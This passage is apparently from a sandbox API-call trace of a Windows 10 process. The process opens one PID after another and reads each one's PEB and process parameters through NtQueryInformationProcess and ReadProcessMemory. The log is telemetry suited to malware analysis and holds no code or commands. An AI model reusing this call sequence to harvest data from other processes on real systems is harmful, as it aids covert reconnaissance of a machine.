_Buffer="1252") returned 0x0 [0357.567] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1252") returned 4 [0357.567] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.567] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.568] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e4) returned 0xa9c [0357.568] GetLastError () returned 0x0 [0357.568] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.568] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.569] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.569] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.569] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.569] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.569] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.569] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.569] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.570] malloc (_Size=0x6c) returned 0xea8e20 [0357.570] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xea8e20, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8e20*, lpNumberOfBytesRead=0x0) returned 1 [0357.571] free (_Block=0xea8e20) [0357.571] CloseHandle (hObject=0xa9c) returned 1 [0357.571] _ui64tow_s (in: _Value=0x564, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1380") returned 0x0 [0357.571] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1380") returned 4 [0357.571] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.571] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.572] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x0 [0357.572] CloseHandle (hObject=0x0) returned 0 [0357.572] _ui64tow_s (in: _Value=0x5f4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1524") returned 0x0 [0357.573] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1524") returned 4 [0357.573] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.573] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.574] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f4) returned 0xa9c [0357.574] GetLastError () returned 0x0 [0357.574] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.574] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.574] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.574] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.574] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.574] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.574] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.575] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.575] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.575] malloc (_Size=0x8a) returned 0xec7ca0 [0357.575] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7ca0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7ca0*, lpNumberOfBytesRead=0x0) returned 1 [0357.575] free (_Block=0xec7ca0) [0357.576] CloseHandle (hObject=0xa9c) returned 1 [0357.576] _ui64tow_s (in: _Value=0x644, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0357.576] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1604") returned 4 [0357.576] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.576] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.577] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0xa9c [0357.577] GetLastError () returned 0x0 [0357.577] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.577] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.577] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.577] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.577] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.578] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.578] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.578] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.578] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.578] malloc (_Size=0x8a) returned 0xec78e0 [0357.578] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec78e0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec78e0*, lpNumberOfBytesRead=0x0) returned 1 [0357.579] free (_Block=0xec78e0) [0357.579] CloseHandle (hObject=0xa9c) returned 1 [0357.579] _ui64tow_s (in: _Value=0x650, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1616") returned 0x0 [0357.580] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1616") returned 4 [0357.580] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.580] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.580] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x650) returned 0xa9c [0357.581] GetLastError () returned 0x0 [0357.581] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.581] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.581] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.581] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.581] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.581] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.581] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.582] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.582] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.582] malloc (_Size=0x8a) returned 0xec7340 [0357.582] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7340, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7340*, lpNumberOfBytesRead=0x0) returned 1 [0357.583] free (_Block=0xec7340) [0357.583] CloseHandle (hObject=0xa9c) returned 1 [0357.583] _ui64tow_s (in: _Value=0x674, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1652") returned 0x0 [0357.584] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1652") returned 4 [0357.584] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.584] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.585] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x674) returned 0xa9c [0357.585] GetLastError () returned 0x0 [0357.585] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.585] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.585] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.585] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.585] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.585] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.586] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.586] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.586] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.586] malloc (_Size=0x60) returned 0xeb61c0 [0357.586] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb61c0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb61c0*, lpNumberOfBytesRead=0x0) returned 1 [0357.587] free (_Block=0xeb61c0) [0357.587] CloseHandle (hObject=0xa9c) returned 1 [0357.587] _ui64tow_s (in: _Value=0x6fc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1788") returned 0x0 [0357.587] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1788") returned 4 [0357.588] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.588] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.588] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6fc) returned 0xa9c [0357.589] GetLastError () returned 0x0 [0357.589] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.589] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.589] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.589] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2480, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.589] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2118, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.589] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.589] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.590] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.590] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.590] malloc (_Size=0x42) returned 0xea76b0 [0357.590] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2158, lpBuffer=0xea76b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea76b0*, lpNumberOfBytesRead=0x0) returned 1 [0357.590] free (_Block=0xea76b0) [0357.590] CloseHandle (hObject=0xa9c) returned 1 [0357.591] _ui64tow_s (in: _Value=0x734, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1844") returned 0x0 [0357.591] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1844") returned 4 [0357.591] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.591] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.592] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x734) returned 0xa9c [0357.592] GetLastError () returned 0x0 [0357.592] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.592] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.592] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.592] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.592] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.593] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.593] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.593] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.593] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.593] malloc (_Size=0x8a) returned 0xec7b60 [0357.593] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7b60, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7b60*, lpNumberOfBytesRead=0x0) returned 1 [0357.594] free (_Block=0xec7b60) [0357.594] CloseHandle (hObject=0xa9c) returned 1 [0357.595] _ui64tow_s (in: _Value=0x820, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2080") returned 0x0 [0357.595] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2080") returned 4 [0357.595] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.595] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.596] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0xa9c [0357.596] GetLastError () returned 0x0 [0357.596] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.596] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x249018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.596] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.596] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.597] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.597] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.597] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.597] ReadProcessMemory (in: 